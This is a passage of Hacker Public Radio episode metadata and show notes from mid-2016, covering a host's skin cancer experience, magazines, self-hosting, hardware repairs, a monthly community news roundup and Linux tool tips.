                                                            Both my parents have had multiple lesions excised, so something like this was always on my mind. We live in a sunny, sub-tropical environment, the sort of clothing you'd want to wear for comfort is light, breezy, and not covering much skin, exactly the wrong sort of clothes you'd need to wear to protect yourself from ultraviolet (UV) rays that help cause skin cancer.

                                                            \n

                                                            According to the Australian BoM FAQ https://www.bom.gov.au/uv/faq.shtml the per capita risk of skin cancer in Australia is ten times higher than America and sixty times higher than the UK.

                                                            \n

                                                            The UV scale rarely gets above eight in the UK, in Brisbane the UV scale is above eight for roughly eight months of the year.

                                                            \n

                                                            There are a lot of variables when it comes to UV. Cloud cover is probably the most important. Something that I can't stress enough is that heat and UV are not correlated, you can definitely be exposed to lots of UV when it's cold (see New Zealand, they're much more south, much more cold, and have more exposure due to the ozone hole). Another example is snow, UV will bounce off the snow and back at you.

                                                            \n

                                                            The link between skin cancer and UV is quite strong, 95-99% of skin cancers are caused by excess sun exposure. (https://www.cancer.org.au)

                                                            \n

                                                            So, with all that history, I started getting yearly skin checks a couple of years ago. I'd had a couple of skin checks when I was very young, and now that I'm more advanced in years I wanted something less ad-hoc. Someone working for one such organisation gave a talk at one of the user groups I attended, and i made an appointment with Molemap. It's a full on procedure where your entire body is photographed, and each mole, freckle, bump and lump that is of possible concern is photographed from a few centimetres off the skin, and with the magnification lens sitting right on top of the mole.

                                                            \n

                                                            I have some near 200 spots on myself that are of interest, so my follow up appointments take about two and half hours to go over all these spots, plus looking for new ones. The hope is that, by doing this close to yearly, small changes in all these spots won't go unnoticed, and we can get on top of any cancers early.

                                                            \n

                                                            Interestingly, the spot that was actually a problem was a new one, so under a year old, and was hiding underneath my beard, so in future I'm definitely going to have my skin checked clean shaven.

                                                            \n

                                                            The other thing I want to communicate is that early detection is key, all the skin cancers have a 90% plus survival rate (at five years) if caught early enough. This does potentially mean that a yearly check is not enough, but it's already proven it's worth to me.

                                                            \n

                                                            Molemap only does photography of spots, and visual diagnosis. It does not do any treatment or biopsies or excisions, therefore there it has no self interest in recommending treatment on borderline cases. Molemap sprang out of a University of Queensland project, which is my alma mater. After receiving the diagnosis (via an online form, secured with a second factor sent to my phone) and panicking a fair bit, I contacted my regular doctors practice (we call them general practitioners in Australia, I'm sure they're called different things elsewhere) for an appointment with a GP who had experience with skin cancers. In QLD, most medical centres will have at least one doctor with experience in this area. As it turns out, my regular GP has such experience and I got an appointment for the following week.

                                                            \n

                                                            I wasn't really sure what to expect from my GP appointment, but I was mostly expecting to get the diagnosis confirmed, and either get sent to a specialist to deal with it, or organise another appointment at the GP.

                                                            \n

                                                            What actually happened was it took all of five minutes for my doctor to confirm the diagnosis, then work how he had time in his schedule, and there was a nurse free, to excise the lesion straight away. I was given a local anaesthetic, so I felt no pain whatsoever, but you still feel the doctor pulling on your skin up, down left and right, so that the complete lesion can be removed, as well as a small amount of surrounding skin in case the cancer has spread.

                                                            \n

                                                            Here I should mention that melanomas spread very fast, and when they're excised up to a centimetre of skin may need to be removed, where as for a non-melanomic, a millimetre or so is good enough.

                                                            \n

                                                            I got four sutures put in, they stayed for a week (we have a long easter break in Australia) so it ended up being closer to a week and a half. I had no problems, my scar healed up quickly and nicely. Now, a couple of months later, there's a little redness along the scar line, but that's about it.

                                                            \n

                                                            So. The take aways. UV is not correlated to heat, you can get a lot of UV exposure in cold environments. If you're travelling through a high UV area, take precautions (clothes that cover a lot of your skin, hat, sunglasses, sunscreen). If you live in a high UV area, get your skin checked regularly. Also, keep an eye on your own skin. Use a diary to record any new bumps, lumps, spots etc.

                                                            \n

                                                            Links

                                                            \n\n","hostid":315,"series":100,"explicit":1,"license":"CC-BY-SA","tags":"skin cancer,melanoma,UV,ultraviolet light","version":0,"downloads":0,"valid":1}, {"id":2076,"date":"2016-07-18","title":"What Magazines I read Part 1","duration":300,"summary":"This is a short episode about the Magazines I read that may be of interest to other listeners","notes":"\n

                                                            Magazines I Read

                                                            \n

                                                            Hi This is Tony Hughes for Hacker Public Radio, I'm trying to do a show once a month or so and I was thinking of ideas that might be of interest to the listeners out there.

                                                            \n

                                                            While there are regular shows on 'What's on my pod-catcher' I've never heard one about what magazines that people in the HPR community like to read. With the advent of digital media and subscription services such as Issuu, Magzter, Google Play Newsstand and I'm sure many others which offer both Free and subscription content I'm sure many of you like me have quite a number of magazines you regularly read, and some you dip in to from time to time. So this show is about the Magazines I like to read.

                                                            \n

                                                            First I'd like to say that to facilitate regularly reading of digital media I feel for me a 10" tablet is the smallest format for comfortable reading (although for those of you with young enough eyesight to be able to read small fonts with no difficulty you may feel different). However my Tablet of choice is the 12" Samsung SM-P900 which I purchased in February 2015. My only gripe with this tablet is I'll probably never get Android 6 on it as it's now over 2 years since original release. While I agree with Apple that the 4:3 screen configuration for reading on a tablet is more user friendly I can not bring myself to spend that kind of money or be tied to the Apple ecosystem.

                                                            \n

                                                            So what Magazines do I actually read?

                                                            \n
                                                              \n
                                                            • Linux Voice (https://www.linuxvoice.com) This is a Linux magazine that was set up a couple of years ago by some of the former editorial team from Linux Format after a successful Kick Starter Campaign. Good content for and about Linux and the Linux community and they support the community by distributing 50% of their annual profits back to the Open Source Community after a ballot of readers. They also release issues of the magazine with a creative commons licence 9 months after publication. This is the only magazine I currently have a Paper subscription to (it also comes with a free DRM free PDF copy for subscribers)

                                                            • \n
                                                            • Linux Format (https://www.linuxformat.com) Similar in content to Linux Voice but without quite the same community philosophy, but still a very good publication.

                                                            • \n
                                                            • MicroMart (https://subscribe.micromart.co.uk) This is a more general computer magazine that started in 1985, as a place you could buy and sell computers and components but is now more of a regular weekly magazine format with news, reviews and articles about all things computer and technology related. As I said in my Journey to Linux show this was the Magazine that introduced me to Linux in the late 90's early 00's. They still have a weekly Linux page and regular Raspberry Pi and other Linux related content.

                                                            • \n
                                                            • MagpPi (https://www.raspberrypi.org/magpi) This is the official Monthly magazine of the Raspberry Pi Community and as you will have worked out is focused on all things Raspberry Pi. Lots of Good content including: News, tutorials, and reviews of new peripherals for the Pi, and since being brought in house by the foundation it has a very professional look and feel about it. All the content is provided by members of the Raspberry Pi Community both from inside, and outside the Foundation. You can get a free Creative commons PDF from the website or to support the foundation you can subscribe to both Print and digital copies if you wish to.

                                                            • \n
                                                            • Full Circle Magazine (https://fullcirclemagazine.org/) This is a completely community driven magazine for all things related to Ubuntu Linux and its derivatives. They carry news of what is happening in the World of Ubuntu and articles and tutorials of how to use Linux software for both the beginner and more experienced users. This is a Creative Commons and can be downloaded free from the website in both PDF and e-book formats.

                                                            • \n
                                                            • PCLinuxOS Magazine (https://pclosmag.com/index.html) This is another community driven magazine from The PCLinuxOS community and is similar to Full Circle in its content, with the aim of helping users of this distro to get the most out of it they can. Also available as a free Creative Commons PDF download from their website.

                                                            • \n
                                                            \n

                                                            Links

                                                            \n\n","hostid":338,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Magazine, Linux, Computing","version":0,"downloads":0,"valid":1}, {"id":2077,"date":"2016-07-19","title":"libernil.net and self hosting for friends and family","duration":1098,"summary":"I talk a little about my network and how you can host services for your friends and family.","notes":"

                                                            What is libernil.net?

                                                            \n

                                                            libernil.net is an island of pseudo-freedom. This project was established in order to pursue ideals of Free Software, Free Culture, ethically sourced hardware, self hosting, and sharing with others. Generally it consists of personal content, though some community resources reside here as well.

                                                            \n

                                                            The name came from an old programming group and was repurposed. I would really like to find a new name!

                                                            \n

                                                            Similar networks

                                                            \n
                                                              \n
                                                            • tilde.club
                                                            • \n
                                                            • sdf.org
                                                            • \n
                                                            \n

                                                            The network

                                                            \n

                                                            Set in three physical locations: two in Northwest Arkansas, one (a VPS) in Sweden.

                                                            \n

                                                            One recycled shuttle rig called “summernight”, one ThinkPenguin nano called “aprilshowers”, and a VPS known as “eremit”. Two or three inaccessible machines for backups and other automation.

                                                            \n

                                                            Wireless access provided in the openwireless.org model at both US physical locations.

                                                            \n

                                                            Services

                                                            \n
                                                              \n
                                                            • Websites
                                                            • \n
                                                            • Shell accounts
                                                            • \n
                                                            • DNS
                                                            • \n
                                                            • wireless access
                                                            • \n
                                                            • XMPP
                                                            • \n
                                                            • IRC Bots
                                                            • \n
                                                            • Git
                                                            • \n
                                                            • MediaGoblin
                                                            • \n
                                                            \n

                                                            Future services

                                                            \n
                                                              \n
                                                            • Game servers
                                                            • \n
                                                            • pump.io and GNU Social instances
                                                            • \n
                                                            • mail server
                                                            • \n
                                                            • PBX with DID lines
                                                            • \n
                                                            • data service
                                                            • \n
                                                            \n

                                                            Events and community

                                                            \n

                                                            The community is very loosely organized and rarely operates under the name of the network, though we sometimes gather for events in the same location as the machines. In the past we’ve had a cryptoparty and I am trying to organize a FreeDOOM LAN party.

                                                            \n

                                                            How to host your own services

                                                            \n
                                                              \n
                                                            1. Acquire a machine, any machine! Could be a junk rig, an old laptop, or a fancy single board computer.
                                                            2. \n
                                                            3. Install your favorite distro or try freedombone/freedom box.
                                                            4. \n
                                                            5. Get a domain name with your favorite registrar.
                                                            6. \n
                                                            7. Get a static IP from your ISP if possible or go with Dynamic DNS
                                                            8. \n
                                                            9. Install Bind or set up your router to manage DNS.
                                                            10. \n
                                                            11. Invite some friends to play on your new server! Maybe have a party!
                                                            12. \n
                                                            13. Set up backup scripts.
                                                            14. \n
                                                            \n","hostid":241,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"gnu, linux, networking, community, servers, services, commons","version":0,"downloads":0,"valid":1}, {"id":2078,"date":"2016-07-20","title":"What's in my bag?","duration":884,"summary":"A short summary of all the crap Windigo lugs back and forth","notes":"

                                                            If you should happen to find me on the road, don’t kill me! I’m an atheist!

                                                            \n

                                                            Also, this will be the contents of my bag:

                                                            \n
                                                              \n
                                                            • Stainless steel coffee mug, Stewarts-branded
                                                            • \n
                                                            • Stanley stainless steel thermos
                                                            • \n
                                                            • Kleen kanteen wide, 40oz stainless steel water bottle
                                                            • \n
                                                            • 1½-foot micro USB cable
                                                            • \n
                                                            • Ethernet cable (currently retractable)
                                                            • \n
                                                            • Sony headphones
                                                            • \n
                                                            • Handful of SD and USB storage, including 64GB primary on keychain
                                                            • \n
                                                            • Maglite AA-powered flashlight
                                                            • \n
                                                            • Ballpoint pen
                                                            • \n
                                                            • Lunch, usually in a mason jar or metal box
                                                            • \n
                                                            • If it’s Wednesday or Thursday, my backup drive
                                                            • \n
                                                            • Dell Mini 9 with AC adapter
                                                            • \n
                                                            • If I’m walking to the Tech Center, a ZaReason Verix laptop with AC adapter
                                                            • \n
                                                            \n","hostid":196,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"coffee mug,thermos flask,ethernet cable,Maglite,ZaReason Verix,Dell Mini 9","version":0,"downloads":0,"valid":1}, {"id":2079,"date":"2016-07-21","title":"Everyone Loves Some Acid House","duration":441,"summary":"Sigflup demonstrates how to make acid house quickly","notes":"

                                                            In this episode of hpr sigflup makes some acid house. She uses Technobox2, which simulates the tb-303 and the tr-808

                                                            \n

                                                            \"Roland

                                                            \n","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"acid music ","version":0,"downloads":0,"valid":1}, {"id":2080,"date":"2016-07-22","title":"Kdenlive Part 3: Effects and Transitions","duration":846,"summary":"Using effects and transitions in Kdenlive","notes":"\n

                                                            Hello again HPR listeners this is Geddes back with Part 3 in the series covering the video editing application KdenLive. This time round we’ll be looking at effects and transitions which covers the following topics

                                                            \n
                                                              \n
                                                            • Layout Mods
                                                            • \n
                                                            • Fades
                                                            • \n
                                                            • Dissolves
                                                            • \n
                                                            • Slides and wipes
                                                            • \n
                                                            • Chroma Key, aka green screen
                                                            • \n
                                                            • Composited images and titles
                                                            • \n
                                                            \n

                                                            Here’s the link to the original article. https://opensource.com/life/11/11/effects-and-transitions-kdenlive

                                                            \n","hostid":310,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Kdenlive,opensource.com,video effects,video transitions","version":0,"downloads":0,"valid":1}, {"id":2081,"date":"2016-07-25","title":"Fixing my daughter's laptop","duration":669,"summary":"My daughter broke the headphone jack in her laptop. I tried to get the remains out","notes":"

                                                            Fixing my daughter’s laptop

                                                            \n

                                                            My daughter is a student at university and uses her laptop with a headset most of the time. She shares a flat with a friend and they are both studying, so they don’t want to annoy each other with noise.

                                                            \n

                                                            The headset my daughter uses has a very long cable and earlier this year she tripped over it. The microphone jack was OK, but the headphone jack snapped off at the first ring and the remaining piece was left in the socket.

                                                            \n

                                                            This episode is about my attempt to remove the broken piece of the jack plug. To find out more about the method I used and how successful it was see the full notes with pictures by clicking this link.

                                                            \n

                                                            Links

                                                            \n

                                                            Note: The Amazon links below are for information. I have no financial involvement with Amazon; these are not Affiliate links.

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"laptop,repair,audio jack,Dremel,USB DAC","version":0,"downloads":0,"valid":1}, {"id":2082,"date":"2016-07-26","title":"Basic Audio Production - Equalization","duration":1126,"summary":"The basics of one of the most fundamental audio production techniques","notes":"\n

                                                            The bread and butter of open source audio production:

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":323,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Music, Audio, Production, Recording, DAW, Audio Production, Sound, DIY, Equalization","version":0,"downloads":0,"valid":1}, {"id":2083,"date":"2016-07-27","title":"My 18th HPR Beer Podcast","duration":279,"summary":"JustMe here again. This time with my 18th beer tasting podcast. This time we're tasting a Flying Dog","notes":"

                                                            JustMe here again. This time with my 18th beer tasting podcast.

                                                            \n

                                                            This time we’re tasting a Flying Dog Single Hop Warrior Imperial IPA, 10%ALC/Vol

                                                            \n

                                                            I do believe you’ll like this one. I know I did.

                                                            \n

                                                            \n\"hand\n

                                                            \n","hostid":313,"series":14,"explicit":0,"license":"CC-BY-SA","tags":"Beer Tasting","version":0,"downloads":0,"valid":1}, {"id":2084,"date":"2016-07-28","title":"Cleaning the Throttle Body on My Pickup Truck","duration":1469,"summary":"I record the process of cleaning the throttle body on my truck, trying to fix an idling problem","notes":"

                                                            In this episode I take you along for the ride as I do a little bit of maintenance on my pickup truck. I've been trying to track down the source of of a rough idling problem that sometimes turns into stalling out. I already replaced the fuel filter (did not solve the rough idling problem but probably was due anyway), and here I make an audio recording as I clean the throttle body, which apparently is one of the first things you should do when your vehicle is idling roughly and stalling out. Still not sure if I have totally fixed it but it seems to run OK so at least I did not mess it up any worse.

                                                            \n\n

                                                            \n\n\"Throttle\n\n

                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"DIY, Auto repair, auto maintenance, cars, trucks","version":0,"downloads":0,"valid":1}, {"id":2085,"date":"2016-07-29","title":"Penguicon 2016 Report","duration":1337,"summary":"Penguicon 2016 happened on April 29 through May 1, 2016 in Southfield, Michigan","notes":"\n

                                                            Penguicon 2015 is a combined technology and science fiction convention in Southfield, Michigan, a suburb of Detroit, and presented over 500 hours of programming over the entire weekend. Of this, around 100 hours were open source, tech-related. In this episode I give you my personal diary of my experience at this great event.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":96,"explicit":0,"license":"CC-BY-SA","tags":"Penguicon 2016","version":0,"downloads":0,"valid":1}, {"id":2086,"date":"2016-08-01","title":"HPR Community News for July 2016","duration":4160,"summary":"Dave and Ken miss the regular recording slot but still get in the show","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2065Fri2016-07-01Whats in My BagTony Hughes AKA TonyH1212
                                                            2066Mon2016-07-04HPR Community News for June 2016HPR Volunteers
                                                            2067Tue2016-07-05Haste - the pastebin alternativeJohn Duarte
                                                            2068Wed2016-07-06Podcasts I listen to and how I fetch them.Christopher M. Hobbs
                                                            2069Thu2016-07-07Counting Stuff in LibreOffice CalcJon Kulp
                                                            2070Fri2016-07-08Adventures with Jonathan SlocumDavid Whitman
                                                            2071Mon2016-07-11Undocumented features of Baofeng UV-5R RadioMrX
                                                            2072Tue2016-07-12That Awesome Time I Deleted My Home Directorysigflup
                                                            2073Wed2016-07-13The power of GNU Readline - part 1Dave Morriss
                                                            2074Thu2016-07-14Experience With A Neighborhood Catbrian
                                                            2075Fri2016-07-15Skin cancerClinton Roy
                                                            2076Mon2016-07-18What Magazines I read Part 1Tony Hughes AKA TonyH1212
                                                            2077Tue2016-07-19libernil.net and self hosting for friends and familyChristopher M. Hobbs
                                                            2078Wed2016-07-20What's in my bag?Windigo
                                                            2079Thu2016-07-21Everyone Loves Some Acid Housesigflup
                                                            2080Fri2016-07-22Kdenlive Part 3: Effects and TransitionsGeddes
                                                            2081Mon2016-07-25Fixing my daughter's laptopDave Morriss
                                                            2082Tue2016-07-26Basic Audio Production - EqualizationNacho Jordi
                                                            2083Wed2016-07-27My 18th HPR Beer PodcastJustMe
                                                            2084Thu2016-07-28Cleaning the Throttle Body on My Pickup TruckJon Kulp
                                                            2085Fri2016-07-29Penguicon 2016 ReportAhuka
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            The main threads this month were:

                                                            \n
                                                              \n
                                                            1. From: Clinton Roy <clinton.roy@...>
                                                              \n Date: 2016-06-30 14:09:02 +1000
                                                              \n Subject: World map of contributors?
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1273
                                                              \n Messages: 5

                                                            2. \n
                                                            3. From: Venant <venant@...>
                                                              \n Date: 2016-07-01 19:31:57 -0400
                                                              \n Subject: Re: World map of contributors?
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1282
                                                              \n Messages: 11

                                                            4. \n
                                                            5. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-07-20 09:42:36 +0200
                                                              \n Subject: Earth-friendly EOMA68 Computing Devices | Crowd Supply
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1293
                                                              \n Messages: 1

                                                            6. \n
                                                            7. From: Fifty OneFifty <fiftyonefifty@...>
                                                              \n Date: 2016-07-20 15:59:53 -0500
                                                              \n Subject: Earth-friendly EOMA68 Computing Devices | Crowd Supply
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1294
                                                              \n Messages: 1
                                                            8. \n
                                                            \nTotal messages this month: 18
                                                            \n\n\n

                                                            Editor's Note:

                                                            \n

                                                            The list of mail threads above date from a time when HPR mailing list\nmessages were copied to Gmane. At that time the Mailman mailing list software\nused to run the list seemed not to be able to archive messages, or possibly\ncouldn't make them visible. We built lists of threads by reading the Gmane\ndata and showed them here.

                                                            \n

                                                            Since then Gmane has failed, and been restored, but the HPR lists have been\nlost. However, a later version of Mailman made these messages available as\nthey should have been, so nothing was actually lost!

                                                            \n

                                                            The above thread links have been disabled, but the threaded list for the month in question can be seen at:
                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-July/thread.html\n

                                                            \n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.

                                                            \n

                                                            There are 17 comments:

                                                            \n
                                                              \n
                                                            • hpr2062\n(2016-06-28) \"Now The Chips Are Definitely Down\"\nby MrX.\n
                                                              • Comment 2:\nMrX on 2016-07-03:\n\"Re Baofeng UV5R\"
                                                              • Comment 3:\nMrX on 2016-07-04:\n\"Re Re Baofeng UV5R\"
                                                              • \n

                                                            • \n
                                                            • hpr2064\n(2016-06-30) \"Test-Driving Devuan\"\nby Frank Bell.\n
                                                              • Comment 1:\nKrayon on 2016-07-19:\n\"SLiM\"
                                                              • \n

                                                            • \n
                                                            • hpr2066\n(2016-07-04) \"HPR Community News for June 2016\"\nby HPR Volunteers.\n
                                                              • Comment 1:\nIvan "Epicanis" Privaci on 2016-07-04:\n\"This is a thing of beauty\"
                                                              • Comment 2:\nDave Morriss on 2016-07-08:\n\"Series page\"
                                                              • \n

                                                            • \n
                                                            • hpr2068\n(2016-07-06) \"Podcasts I listen to and how I fetch them.\"\nby Christopher M. Hobbs.\n
                                                              • Comment 1:\ncybergrue on 2016-07-06:\"[no title]\"
                                                              • Comment 2:\nFrank on 2016-07-07:\"[no title]\"
                                                              • Comment 3:\nfolky on 2016-07-21:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr2069\n(2016-07-07) \"Counting Stuff in LibreOffice Calc\"\nby Jon Kulp.\n
                                                              • Comment 1:\nMr. Young on 2016-07-07:\n\"Thanks for the quick tips\"
                                                              • \n

                                                            • \n
                                                            • hpr2070\n(2016-07-08) \"Adventures with Jonathan Slocum\"\nby David Whitman.\n
                                                              • Comment 1:\nFrank on 2016-07-09:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr2072\n(2016-07-12) \"That Awesome Time I Deleted My Home Directory\"\nby sigflup.\n
                                                              • Comment 1:\nFrank on 2016-07-15:\"[no title]\"
                                                              • Comment 2:\nbrian on 2016-07-17:\n\"great info\"
                                                              • \n

                                                            • \n
                                                            • hpr2074\n(2016-07-14) \"Experience With A Neighborhood Cat\"\nby brian.\n
                                                              • Comment 1:\nKen Fallon on 2016-07-14:\n\"This show is of interest to hackers\"
                                                              • Comment 2:\nFrank on 2016-07-15:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr2078\n(2016-07-20) \"What's in my bag?\"\nby Windigo.\n
                                                              • Comment 1:\nNYbill on 2016-07-26:\n\"Mini9\"
                                                              • Comment 2:\nWindigo on 2016-07-28:\n\"My favorite\"
                                                              • \n

                                                            • \n
                                                            • hpr2081\n(2016-07-25) \"Fixing my daughter's laptop\"\nby Dave Morriss.\n
                                                              • Comment 1:\n0xf10e on 2016-07-26:\n\"Nice work!\"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2087,"date":"2016-08-02","title":"Magazines I read Part 2","duration":220,"summary":"More of the magazines I read","notes":"\n

                                                            Hi Hacker Public Radio this is Tony Hughes again with the second episode about the magazines I like to read. All of the magazines I’ll be talking of today I read on my Magzter (www.magzter.com) Application on my tablet. I have a Magzter Gold subscription which gives me access to literally 100’s of magazines.

                                                            \n
                                                              \n
                                                            • Vegetarian Times (www.vegetariantimes.com)
                                                              \nI’m a bit of a foodie and have been a vegetarian for many years, so access to good food magazines is important to me. This is a US publication so not all the advertised products are available in the UK but the articles and recipes are excellent.

                                                            • \n
                                                            • Feel Good Food (www.womanandhome.com/recipes/534618/feel-good-food-mag)
                                                              \nA British magazine aimed at Women but non the less still a source of some brilliant recipes for delicious food for food lovers everywhere. Not a veggie magazine but there is usually something of interest. Like most of the food magazines I read I dip into them find recipes I like save them and move on.

                                                            • \n
                                                            \n

                                                            Moving on from food to Sci Fi and cult fiction.

                                                            \n\n

                                                            I’ve grouped these together as they both deal with this subject. They review the latest books, films, TV, comics and audio recordings for this genre . They also cover classic examples, often examining work from the so called golden age of a particular subject. Along with Total Film magazine (www.gamesradar.com/totalfilm) you will always have access to reviews of the latest films & TV and if they are worth the price of a cinema ticket or space as a series record on your PVR.

                                                            \n

                                                            Another armchair hobby of mine is archaeology I’ve loved Time Team from the beginning. So my next magazine on Magzter is Archaeology (archaeology.org) this is a bi monthly magazine published in the US, but covering the latest archaeological news from around the world. For someone into my modern technology its interesting to read about what the latest technology was hundreds or even thousands of years ago.

                                                            \n

                                                            Moving on, one of my other interests over the last 20 years has been motorcycles although I no longer ride I still retain an keen interest so a Bike magazine has to be something I dip into to drool over shiny metal every so often. So I currently have Back Street Heroes (www.backstreetheroes.com) as a favourite in Magzter and dip into it when I need a shiny metal fix.

                                                            \n

                                                            Finally a more active hobby of mine is photography so there has to be a photography magazine in this list. Amateur Photographer (photographer.magazinesdirect.com) claims to be the worlds oldest weekly photography magazine. It covers all aspect of photography and the equipment you need. From high end Professional stuff to point and shoot cameras, and all the other stuff from bags to flash lights.

                                                            \n

                                                            Links

                                                            \n\n","hostid":338,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Magazine,food,recipe,sci fi,archaeology,motorcycles,photography","version":0,"downloads":0,"valid":1}, {"id":2088,"date":"2016-08-03","title":"How my wife's grandma got me into linux.","duration":2001,"summary":"Knightwise tells us how his wife's 80 year old grandmother got him into Linux.","notes":"

                                                            Knightwise talks about how he got into Linux.

                                                            \n

                                                            From the early beginnings where I dabbled in Suse to the present day where I run my company on Linux, I tell you the story of how I got into Linux .. And how my wife’s 80 year old grandma got me into Linux permanently.

                                                            \n","hostid":111,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"linux, ubuntu, suse, mandriva","version":0,"downloads":0,"valid":1}, {"id":2089,"date":"2016-08-04","title":"Solving a blinkstick python problem","duration":1220,"summary":"How I solved a problem I found when trying to control my new blinkstick nano with Python","notes":"\n

                                                            This is a show describing how I solved a problem of using my new Blinkstick Nano in Python, the problem occurred because I inadvertently installed the blinkstick module to the wrong version of Python as I have multiple versions of python installed on my raspberry pi.

                                                            \n

                                                            A blinkstick is a USB powered device with attached RGB led’s, it can be controlled using a wide range of languages, and supports the Raspberry Pi, Linux, Microsoft Windows & Apple

                                                            \n

                                                            As a side note I forgot to mention that the blinkstick hardware and software is Open Source

                                                            \n\n

                                                            Initially I blindly followed the advice given at https://www.blinkstick.com/help/raspberry-pi-integration which recommended the following commands

                                                            \n
                                                            sudo apt-get install -y python-pip python2.7-dev\nsudo pip install blinkstick\nsudo blinkstick --info\nblnkstick --add-udev-rule
                                                            \n

                                                            I discovered that the blinkstick module was not being found when I ran my python script, this turned out to be because I was invoking a different version of python in my script from that which I installed the blinkstick module. I installed the blinkstick module to Python 2.7, my script was running python 3.2

                                                            \n

                                                            I ran the following commands to rectify the problem

                                                            \n
                                                            sudo apt-get install -y python3-pip\nsudo pip-3.2 install blinkstick\nsudo blinkstick --info (Run in my script)\nblinkstick --add-udev-rule (Not required 2nd time round)
                                                            \n

                                                            Here are some links I looked at to get some understanding of what was going on

                                                            \n\n

                                                            You can get a list of your installed python modules by first going to the python interpreter by typing python at the command prompt and issuing the following command

                                                            \n
                                                            >>> help('modules')
                                                            \n

                                                            You can list your python search path by first going to the interpreter by typing python at the command prompt and issuing the following commands, the search path is the list of system directories that python will search to run things like commands and modules

                                                            \n
                                                            >>> import sys\n>>> sys.path
                                                            \n

                                                            Links

                                                            \n\n","hostid":201,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Hardware, Electronics, Programming, Raspberry pi, python, open source, BlinkStick","version":0,"downloads":0,"valid":1}, {"id":2090,"date":"2016-08-05","title":"A Docker Dialog","duration":1972,"summary":"Thaj and Lyle (x1101) have a discussion about Docker and its use.","notes":"\n

                                                            Thaj and Lyle (x1101) have a discussion about Docker and its use.

                                                            \n\n","hostid":270,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Docker, Self-hosting","version":0,"downloads":0,"valid":1}, {"id":2091,"date":"2016-08-08","title":"Everyday Unix/Linux Tools for data processing","duration":1815,"summary":"In this episode, I give some examples of common and uncommon tools for processing data files","notes":"
                                                            \n

                                                            Here are some of the tools I use to process and clean data from all manner of customers:

                                                            \n
                                                            \n

                                                            detox

                                                            \n

                                                            The detox utility renames files to make them easier to work with. It removes spaces and other such annoyances. It’ll also translate or cleanup Latin-1 (ISO 8859-1) characters encoded in 8-bit ASCII, Unicode characters encoded in UTF-8, and CGI escaped characters.

                                                            \n

                                                            See other episodes for great sed information. I like to remove DOS end of line and end of file characters:

                                                            \n\n
                                                            sed -i 's/\n//g' *.txt
                                                            \n

                                                            or

                                                            \n
                                                            sed -i 's/\\r//g' *.txt
                                                            \n

                                                            Command-line tools

                                                            \n
                                                              \n
                                                            • ack
                                                            • \n
                                                            • awk
                                                            • \n
                                                            • detox
                                                            • \n
                                                            • grep
                                                            • \n
                                                            • pandoc
                                                            • \n
                                                            • pdftotext -layout
                                                            • \n
                                                            • sed
                                                            • \n
                                                            • unix2dos and dos2unix
                                                            • \n
                                                            • wget
                                                            • \n
                                                            • curl
                                                            • \n
                                                            \n

                                                            R libraries

                                                            \n
                                                              \n
                                                            • RCurl
                                                            • \n
                                                            • XML
                                                            • \n
                                                            • rvest
                                                            • \n
                                                            • tm
                                                            • \n
                                                            • xlsx
                                                            • \n
                                                            \n

                                                            Python libraries

                                                            \n\n

                                                            Vim tricks

                                                            \n
                                                              \n
                                                            • buffer searches (:vim /pattern/ ##)
                                                            • \n
                                                            • Ack plugin
                                                            • \n
                                                            • bufdo (:bufdo %s/pattern/replace/ge | update)
                                                            • \n
                                                            \n

                                                            Other tools

                                                            \n\n","hostid":300,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux,unix,data,command-line","version":0,"downloads":0,"valid":1}, {"id":2092,"date":"2016-08-09","title":"My new love","duration":1872,"summary":"I talk about how I got my latest laptop ","notes":"

                                                            \nhttps://swift110.wordpress.com/2016/07/07/my-new-love/\n

